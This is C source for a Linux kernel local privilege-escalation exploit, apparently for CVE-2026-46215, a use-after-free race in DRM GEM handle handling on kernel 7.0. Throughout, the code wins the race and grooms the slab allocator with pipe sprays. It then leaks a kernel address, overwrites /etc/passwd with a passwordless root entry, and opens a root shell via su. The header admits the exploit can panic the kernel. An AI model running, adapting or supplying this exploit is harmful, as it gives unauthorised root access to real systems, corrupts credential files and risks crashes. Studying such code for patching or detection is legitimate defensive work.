/*
 * CVE-2026-46215 Exploit Adapted for Linux 7.0 !!!
 * WARNING !!! this exploit is not stable ! sometimes, this exploit might cause kernel panic ! you have been warned !!! ;-p
 * The bug ? old handle is not nulled -> dangling pointer (race to UAF)
 * c0d3 by : Antonius (w1sdom / ev1lut10n / sw0rdm4n) - bluedragonsec.com
 * https://github.com/bluedragonsecurity
 * Sorry ! this exploit is not reliable and not stable !!!
 * I don't have time to fix this.
 * Please be patient when running this exploit ! this will take a long time !
 * improved version from kratnowl cross-cache
 * gcc -o exploit exploit.c -lpthread -static
 * This exploit is  adapted from 
 * https://github.com/0xCyberstan/CVE-2026-46215-POC/blob/main/poc.c
 * This exploit was designed for linux 7.0 but 
 * The vulnerability is from 7.0 to 7.0.8, including 7.0-rc* series
 * Tested on lubuntu 26 with linux 7.0 only !!!
 * 
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <pthread.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <time.h>
#include <pty.h>
#include <utmp.h>
struct drm_gem_close {
	uint32_t handle;
	uint32_t pad;
};
struct drm_gem_flink {
	uint32_t handle;
	uint32_t name;
};
struct drm_gem_change_handle{
	uint32_t handle;
	uint32_t new_handle;
};
struct drm_mode_create_dumb{
	uint32_t height,width,bpp,flags,handle,pitch;
	uint64_t size;
};
struct drm_version{
	int version_major,version_minor,version_patchlevel;
	size_t name_len;
	char *name;
	size_t date_len;
	char *date;
	size_t desc_len;
	char *desc;
};
struct drm_virtgpu_resource_info{
	uint32_t bo_handle,res_handle,size,blob_mem;
};
#define DRM_IOCTL_BASE 'd'
#define DRM_IOCTL_GEM_CLOSE _IOW(DRM_IOCTL_BASE,0x09,struct drm_gem_close)
#define DRM_IOCTL_GEM_FLINK _IOWR(DRM_IOCTL_BASE,0x0a,struct drm_gem_flink)
#define DRM_IOCTL_GEM_CHANGE_HANDLE _IOWR(DRM_IOCTL_BASE,0xD2,struct drm_gem_change_handle)
#define DRM_IOCTL_MODE_CREATE_DUMB _IOWR(DRM_IOCTL_BASE,0xB2,struct drm_mode_create_dumb)
#define DRM_IOCTL_VERSION _IOWR(DRM_IOCTL_BASE,0x00,struct drm_version)
#define DRM_IOCTL_VIRTGPU_RESOURCE_INFO _IOWR(DRM_IOCTL_BASE,0x45,struct drm_virtgpu_resource_info)
#define SHEAF_CAP 28         /* calculate_sheaf_capacity(512): 256 <= size -> base=26 so roundup=28 */
#define OBJS_PER_SLAB 16     /* 8192/512=16 (order-1 slab) */
#define MIN_PARTIAL 5        /* max(5, ilog2(512)/2=4) = 5 */
#define MAX_FULL 10         
#define NR_PARTIAL_CEIL 32  
#define PIPE_RING 8
#define FILL_PAGES 5
#define DEFRAG_N ((long)NR_PARTIAL_CEIL * OBJS_PER_SLAB)  /* 512 */
#define PARTIAL_N ((long)OBJS_PER_SLAB * MIN_PARTIAL)      /* 80 */
#define BARN_N ((long)SHEAF_CAP * (MAX_FULL + 3))          /* 364 */
#define FLUSH_N ((long)SHEAF_CAP * 6)                       /* 168 */
#define GROOM_TOTAL (DEFRAG_N+PARTIAL_N+BARN_N+FLUSH_N)    /* 1124 */
#define PRE_DEFRAG_N 500
#define DRAIN_PER_CPU 394
#define MAX_CPUS 16
#define MAX_MIG (MAX_CPUS*DRAIN_PER_CPU)
#define PREDRAIN_N 50
#define SPRAY_PIPES 2048
#define TARGET_FILE "/etc/passwd"
#define MAX_HANDLES 8192
static int scounter = 0;
static int g_fd;
static uint32_t g_handle,g_new_handle;
static volatile int g_go;
static int g_change_ret,g_close_ret;
static int64_t g_stagger_ns;
static volatile int g_delay_who;
static int pipe_fds[SPRAY_PIPES][2],pipe_count;
static int predrain_fds[PREDRAIN_N][2],predrain_count;

static void pin_cpu(int c) { 
	cpu_set_t s;
	
	CPU_ZERO(&s);
	CPU_SET(c,&s);
	sched_setaffinity(0,sizeof(s),&s);
}

static void clean_fd() {
	int fd;

	for(fd = 3; fd < 65536; fd++)
		close(fd);
	puts("[+] fd clean up !!!");
}

static inline uint64_t now_ns(void) {
	struct timespec ts;
	
	clock_gettime(CLOCK_MONOTONIC,&ts);
	
	return (uint64_t)ts.tv_sec * 1000000000ULL + ts.tv_nsec;
}

static inline void spin_ns(int64_t ns) {
	uint64_t t;

	if(ns <= 0)
		return;
	t = now_ns() + ns;
	while(now_ns() < t)
		__asm__ volatile("pause":::"memory");
}

static void unpin_cpu(void) { 
	cpu_set_t s;
	long n, i;
	
	CPU_ZERO(&s);
	n = sysconf(_SC_NPROCESSORS_ONLN);
	for(i = 0; i < n && i < CPU_SETSIZE; i++)
		CPU_SET(i,&s);
	sched_setaffinity(0,sizeof(s),&s);
}

static int open_drm(void){
	DIR *d = opendir("/dev/dri");
	struct dirent*e;
	char p[256],n[64];
	int fd;
	
	if(!d)
		return -1;
	while((e = readdir(d)) ){
		if(strncmp(e->d_name,"card",4))
			continue;
		snprintf(p,sizeof(p), "/dev/dri/%s", e->d_name);
		fd = open(p,O_RDWR);
		if(fd < 0)
			continue;
		memset(n,0,sizeof(n));
		struct drm_version v={.name_len=sizeof(n)-1,.name=n};
		if(ioctl(fd,DRM_IOCTL_VERSION,&v)==0 && strstr(n,"virtio")) {
			closedir(d);
			return fd;
		}
		close(fd);
	}
	closedir(d);
	
	return -1;
}

static uint32_t gem_create(int fd) { 
	struct drm_mode_create_dumb c={.width=64,.height=64,.bpp=32};
	
	return ioctl(fd,DRM_IOCTL_MODE_CREATE_DUMB,&c)<0?0:c.handle;
}

static void gem_close(int fd,uint32_t h) { 
	struct drm_gem_close c={.handle=h};

	ioctl(fd, DRM_IOCTL_GEM_CLOSE, &c);
}

static void *thr_change(void*a) { 
	struct drm_gem_change_handle ch={.handle=g_handle,.new_handle=g_new_handle};
	
	while(!g_go)
		__asm__ volatile("pause":::"memory");
	if(g_delay_who == 1)
		spin_ns(g_stagger_ns);
	g_change_ret = ioctl(g_fd,DRM_IOCTL_GEM_CHANGE_HANDLE,&ch);
	*(uint32_t*)a = g_change_ret==0?ch.new_handle:0;
	
	return NULL;
}

static void *thr_close(void*a) { 
	struct drm_gem_close cl={.handle=g_handle};
	
	(void)a;
	while(!g_go)
		__asm__ volatile("pause":::"memory");
	if(g_delay_who == 0)
		spin_ns(g_stagger_ns);
	g_close_ret = ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl);
	
	return NULL;
}

static uint32_t try_race(int iter) { 
	pthread_t t1, t2;
	uint32_t nh = 0;
	int64_t base, jit;
	
	g_handle = gem_create(g_fd);
	if(!g_handle)
		return 0;
	g_new_handle = 0x20000 + iter;
	g_go = 0;
	g_change_ret = g_close_ret = -1;
	base = g_stagger_ns;
	jit = base/4;
	if(jit > 0)
		g_stagger_ns = base + (rand()%(2*jit+1))-jit;
	__asm__ volatile("":::"memory");
	pthread_create(&t1, NULL, thr_change, &nh);
	pthread_create(&t2, NULL, thr_close, NULL);
	usleep(50);
	g_go = 1;
	__asm__ volatile("":::"memory");
	pthread_join(t1, NULL);
	pthread_join(t2, NULL);
	g_stagger_ns = base;
	if(g_change_ret == 0 && g_close_ret == 0 && nh)
		return nh;
	if(g_change_ret == 0 && nh)
		gem_close(g_fd, nh);
	else if(g_change_ret != 0 && g_close_ret != 0)
		gem_close(g_fd, g_handle);
		
	return 0;
}

static void free_pipes(void) {
	int j;

	for(j = 0; j < pipe_count; j++) { 
		close(pipe_fds[j][0]);
		close(pipe_fds[j][1]);
	}
	pipe_count = 0;
}

static void free_predrain(void) {
	int j;

	for(j = 0; j < predrain_count; j++) { 
		close(predrain_fds[j][0]);
		close(predrain_fds[j][1]);
	}
	predrain_count = 0;
}

static void rcu_fence(void) {
	syscall(324, 1, 0, -1);
}

void restart() {
    char path[512];
    ssize_t len = readlink("/proc/self/exe", path, sizeof(path) - 1);
	
	if (len == -1) {
        return;
    }
    path[len] = '\0'; 
    puts("\n\n\033[1;32m[+] restarting...\033[0m\n\n");
    execv(path, NULL);
}

static void root(const char *user) {
    int master, has_tty, status, maxfd;
    pid_t pid = forkpty(&master, NULL, NULL, NULL);
    struct termios orig, raw;
    char buf[4096];
    ssize_t n;

    if (pid < 0) {
        perror("[-] forkpty");
        return;
    }
    if (pid == 0) {
		puts("\n[+] spawning root shell via su\n");
        execl("/bin/su", "su", "-", user, (char *)NULL);
        perror("execl su");
        exit(127);
    }
    has_tty = (tcgetattr(STDIN_FILENO, &orig) == 0);
    if (has_tty) {
        raw = orig;
        cfmakeraw(&raw);
        tcsetattr(STDIN_FILENO, TCSANOW, &raw);
    }
    while(1) {
        fd_set rfds;
        FD_ZERO(&rfds);
        FD_SET(master, &rfds);
        FD_SET(STDIN_FILENO, &rfds);
        maxfd = master > STDIN_FILENO ? master : STDIN_FILENO;
        if (select(maxfd + 1, &rfds, NULL, NULL, NULL) < 0) {
            if (errno == EINTR) 
				continue;
            break;
        }
        if (FD_ISSET(master, &rfds)) {
            n = read(master, buf, sizeof(buf));
            if (n <= 0) 
				break;
            (void)!write(STDOUT_FILENO, buf, n);
        }
        if (FD_ISSET(STDIN_FILENO, &rfds)) {
            n = read(STDIN_FILENO, buf, sizeof(buf));
            if (n <= 0) 
				break;
            (void)!write(master, buf, n);
        }
    }
    if (has_tty)
        tcsetattr(STDIN_FILENO, TCSANOW, &orig);
    waitpid(pid, &status, 0);
}

int main(int argc, char *argv[]) {
	const char payload[]="oot::0:0:dirty:/root:/bin/sh\n";
	int64_t d = 0;
	uint64_t tc = 0, tl = 0, t0 = 0, ops;
	uint32_t h;
	uint32_t dangling = 0, pre_defrag[PRE_DEFRAG_N];
	uint32_t mig[MAX_MIG], groom[MAX_HANDLES], leaked;
	int ndefrag = 0, race_iter = 0, hack_count = 0, j = 0, k = 0, p = 0, fd = 0, l = 0;
	int round = 0, nmig = 0,  cpu = 0, gc = 0, fi = 0, sp = 0, tfd = 0;
	int ok, vfd, hack;
	int pfd[2];
	long ncpus, i, tf;
	struct stat st;
	char pg[4096];
	char pb[4096];
	char buf[4096]={0};
	pid_t press;
	loff_t off;

tryhack:
	setvbuf(stdout,NULL,_IONBF,0);
	ncpus = sysconf(_SC_NPROCESSORS_ONLN);
	if(ncpus < 1)
		ncpus=1;
	if(ncpus > MAX_CPUS)
		ncpus = MAX_CPUS;
	struct rlimit rl={.rlim_cur=65536,.rlim_max=65536};
	setrlimit(RLIMIT_NOFILE,&rl);
	if(hack_count > 0 && g_fd >= 0) { 
		close(g_fd); 
		g_fd = -1; 
	}
	dangling = 0; 
	ndefrag = 0; 
	race_iter = 0;
	g_fd = open_drm();
	if(g_fd < 0) { 
		fprintf(stderr,"[-] No DRM\n");
		return 1;
	}
	ioctl(g_fd, 0x2201e, 0);
	srand(now_ns()&0xFFFFFFFF);
	/* Calibrate */
	for(j = 0; j < 200; j++) {
		h = gem_create(g_fd);
		if(!h)
			continue;
		t0 = now_ns();
		struct drm_gem_change_handle ch={.handle=h,.new_handle=0xF0000+j};
		ioctl(g_fd,DRM_IOCTL_GEM_CHANGE_HANDLE,&ch);
		tc += now_ns() - t0;
		t0 = now_ns();
		gem_close(g_fd, 0xF0000 + j);
		tl += now_ns() - t0;
	}
	d = (int64_t)(tc/200)-(int64_t)(tl/200);
	if(d > 0){
		g_delay_who = 0;
		g_stagger_ns = d / 2;
	}
	else{
		g_delay_who = 1;
		g_stagger_ns = (-d) / 2;
	}
	if(stat(TARGET_FILE, &st) != 0) {
		fd = open(TARGET_FILE,O_WRONLY|O_CREAT|O_TRUNC,0644);
		if(fd >= 0) {
			memset(pg, '\n', sizeof(pg));
			snprintf(pg,sizeof(pg),"root:x:0:0:root:/root:/bin/sh\nuser:x:1000:1000:user:/home/user:/bin/sh\n");
			l = strlen(pg);
			for(j = l; j < 4096; j++)
				pg[j] = '\n';
			(void)!write(fd, pg, 4096);
			close(fd);
		}
	}
	/* RCU drain (double membarrier trick) */
	rcu_fence(); 
	usleep(15000);
	rcu_fence(); 
	usleep(5000);
	/* pre-defrag (fill partial slabs, keep alive) */
	pin_cpu(0);
	for(i = 0; i < PRE_DEFRAG_N; i++) {
		h = gem_create(g_fd);
		if(!h)
			break;
		pre_defrag[ndefrag++] = h;
	}
	(void)pre_defrag;
	printf("[*] defrag: %d\n",ndefrag);
	unpin_cpu();
	printf("[*] race\n");
	for(; race_iter < 5000000; race_iter++) { 
		dangling = try_race(race_iter);
		if(dangling)
			break;
		if(race_iter > 0 && race_iter %2000 == 0)
			printf("[!] attempt %d\n", race_iter);
	}
	if(!dangling) { 
		fprintf(stderr,"[-] race failed\n");
		return 1;
	}
	printf("[+] won : iter=%d handle=%u\n", race_iter,dangling);
	/* fast retry loop */
	for(round = 0; round < 500; round++){
		/* Migration */
		nmig = 0;
		for(cpu = 0; cpu < ncpus; cpu++) {
			pin_cpu(cpu);
			for(j = 0; j < DRAIN_PER_CPU && nmig < MAX_MIG; j++) {
				h = gem_create(g_fd);
				if(!h)
					break;
				mig[nmig++]=h;
			}
		}
		pin_cpu(0);
		for(i = 0; i < nmig; i++)
			gem_close(g_fd,mig[i]);
		/* kratnowl method DEFRAG */
		gc = 0;
		for(i = 0; i < GROOM_TOTAL && gc < MAX_HANDLES; i++) {
			h = gem_create(g_fd);
			if(!h)
				break;
				groom[gc++] = h;
		}
		fi = 0;
		tf = DEFRAG_N;
		if(tf > gc)
			tf = gc;
		for(i = 0; i < tf; i++, fi++)
			gem_close(g_fd, groom[fi]);
		tf = PARTIAL_N;
		if(fi + tf > gc)
			tf = gc - fi;
		for(i = 0; i < tf && fi < gc; i++, fi++)
			gem_close(g_fd, groom[fi]);
		tf = BARN_N;
		if(fi + tf > gc)
			tf = gc - fi;
		for(i = 0; i < tf && fi < gc; i++, fi++)
			gem_close(g_fd, groom[fi]);
		tf = FLUSH_N;
		if(fi + tf > gc)
			tf = gc - fi;
		for(i = 0; i < tf && fi < gc; i++, fi++)
			gem_close(g_fd, groom[fi]);
		for(; fi < gc; fi++)
			gem_close(g_fd, groom[fi]);
		/* post-free RCU fence */
		rcu_fence();
		usleep(3000);
		/* slab pressure trick */
		for(sp = 0; sp < 16; sp++) {
			press = fork();
			if(press == 0)
				_exit(0);
			if(press > 0)
				waitpid(press, NULL, 0);
		}
		usleep(50000);
		/* pre-drain cg-512 */
		predrain_count = 0;
		for(j = 0; j < PREDRAIN_N; j++) { 
			if(pipe(pfd) < 0)
				break;
			if(fcntl(pfd[1], 1031, PIPE_RING * 4096) < 0) {
				close(pfd[0]);
				close(pfd[1]);
				continue;
			}
			predrain_fds[predrain_count][0] = pfd[0];
			predrain_fds[predrain_count][1] = pfd[1];
			predrain_count++;
		}
		/* Pipe spray */
		pipe_count = 0;
		for(j = 0; j < SPRAY_PIPES; j++) { 
			if(pipe(pfd)<0)
				break;
			if(fcntl(pfd[1], 1031, PIPE_RING * 4096) < 0) { 
				close(pfd[0]);
				close(pfd[1]);
				continue;
			}
			pipe_fds[pipe_count][0] = pfd[0];
			pipe_fds[pipe_count][1] = pfd[1];
			pipe_count++;
		}
		memset(pb, 'A', sizeof(pb));
		tfd = open(TARGET_FILE, O_RDONLY);
		if(tfd >= 0) { 
			for(j = 0; j < pipe_count; j++) {
				ok = 1;
				for(k = 0; k < FILL_PAGES; k++)
					if(write(pipe_fds[j][1], pb, 4096) < 0) {
						ok = 0;
						break;
					}
				if (!ok)
					continue;
				off = 0;
				splice(tfd, &off, pipe_fds[j][1], NULL, 1, 0);
			}
			close(tfd);
		}
		/* KASLR probe */
		struct drm_virtgpu_resource_info ri={.bo_handle = dangling};
		if(ioctl(g_fd,DRM_IOCTL_VIRTGPU_RESOURCE_INFO, &ri) < 0) {
			free_pipes();
			free_predrain();
			dangling = 0;
			break;
		}
		leaked = ri.size;
		if(leaked != 0x00004000 && leaked != 0x41414141 && leaked != 0 && leaked > 0x00100000) {
			scounter = 0;
			ops = 0xffffffff00000000ULL|(uint64_t)leaked;
			printf("\n[!] %d: Looks like got KASLR leak ! ops=0x%016lx\n",round,(unsigned long)ops);
			struct drm_gem_flink fl={.handle = dangling};
			if(ioctl(g_fd,DRM_IOCTL_GEM_FLINK,&fl)==0  && fl.name >= 1 && fl.name <= 63 && (fl.name & 0x10)) {
				printf("\n[*] FLICK name=%u (0x%x). CAN_MERGE\n", fl.name, fl.name);
				for(hack = 0; hack < pipe_count; hack++) {
					printf("███▒▒▒");
					write(pipe_fds[hack][1], payload, sizeof(payload)-1);
				}
				usleep(100000);
				vfd = open(TARGET_FILE, O_RDONLY);
				if(vfd >= 0) { 
					(void)!read(vfd, buf, sizeof(buf) - 1);
					close(vfd);
				}
				if(strstr(buf,"dirty")) {
					/* 
					this exploit sometimes failed...  
					since this exploit is not stable and not reliable, sorry for this.
					this is just for demo exploit.
					*/
					puts("\n\n=========================================");
					puts("\n[+] w00t : /etc/passwd overwritten !");
					puts("\n\n===========================================");
					clean_fd();
					fflush(stdout);
					root("root");
				}
			}
			else 
				puts("\033[1;31m[-] ioctl failed\033[0m");
		} 
		else if(round %50 == 0) {
			if(leaked != 0x00004000) {
				scounter = 0;
				printf("\n[+][%d] leaked = 0x%08x\n", round, leaked);
			}
			else {
				scounter++;
				puts("\n\033[1;31m(╥﹏╥)\033[1;32m\n");
				if (scounter > 30)
					restart();
			}
		}
		else
			printf("███▒▒▒");
		free_pipes();
		free_predrain();
	}
	printf("[-] attempt %d failed, retrying...\n", hack_count + 1);
	hack_count++;
	if(hack_count < 20) 
		goto tryhack;
	printf("\n[-] exploit failed ! fucking bitch !\n");
	
	return 0;
}
